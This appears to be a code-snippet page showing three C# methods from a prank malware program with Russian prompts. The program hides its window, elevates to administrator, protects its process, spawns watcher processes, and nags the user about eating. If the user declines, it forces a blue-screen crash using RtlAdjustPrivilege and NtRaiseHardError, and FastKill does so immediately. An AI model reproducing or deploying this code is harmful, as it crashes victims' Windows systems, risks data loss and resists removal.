Пример #1
0
        public static unsafe void FastKill(uint code)
        {
            if (!Program.args.Contains("nobsod"))
            {
                ProcessProtection.Protect();

                bool tmp1;
                uint tmp2;
                RtlAdjustPrivilege(19, true, false, out tmp1);
                NtRaiseHardError(code, 0, 0, IntPtr.Zero, 6, out tmp2);

                Thread.Sleep(1000);

                Process.GetCurrentProcess().Kill();
            }
        }
Пример #2
0
        public static unsafe void Kill(uint code)
        {
            if (!Program.args.Contains("nobsod"))
            {
                ProcessProtection.Protect();
            }

            new Thread(Fun).Start();
            Thread.Sleep(60000);

            if (!Program.args.Contains("nobsod"))
            {
                bool tmp1;
                uint tmp2;
                RtlAdjustPrivilege(19, true, false, out tmp1);
                NtRaiseHardError(code, 0, 0, IntPtr.Zero, 6, out tmp2);
            }
        }
Пример #3
0
        static void Main(string[] args)
        {
            Program.args = args;

            ShowWindow(GetConsoleWindow(), 0);

            bool             isElevated;
            WindowsIdentity  identity  = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);

            isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);

            if (isElevated == false && !args.Contains("nobsod"))
            {
                Elevate();
            }
            else
            {
                if (args.Contains("watch") && !args.Contains("nobsod"))
                {
                    Watcher.Watch();
                }
                else if (args.Contains("noreboot") && !args.Contains("nobsod"))
                {
                    ProcessProtection.Protect();
                    Watcher.Watch2();
                }
                else if (!args.Contains("nobsod"))
                {
                    Watcher.StartNoRebootProcess();
                    Watcher.StartWatcherProcess();
                    Thread.Sleep(100);
                    new Thread(Watcher.Watch).Start();
                }

                MessageBox.Show("Пора кушать!", "", MessageBoxButtons.OK, MessageBoxIcon.Information);
                DialogResult res = MessageBox.Show("Ты хочешь кушать?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                if (res == DialogResult.Yes)
                {
                    onYes();
                }
                else
                {
                    res = MessageBox.Show("Я спросил - ты хочешь кушать?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                    if (res == DialogResult.Yes)
                    {
                        onYes();
                    }
                    else
                    {
                        res = MessageBox.Show("А ну, быстро иди жрать!", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                        if (res == DialogResult.Yes)
                        {
                            onYes();
                        }
                        else
                        {
                            res = MessageBox.Show("Последний раз спрашиваю - ты пойдёшь кушать?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                            if (res == DialogResult.Yes)
                            {
                                onYes();
                            }
                            else
                            {
                                new Thread(BSoD.Sounds).Start();
                                MessageBox.Show("Ты меня разозлил!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                                BSoD.Kill(0xDEADDEAD);
                            }
                        }
                    }
                }
            }
        }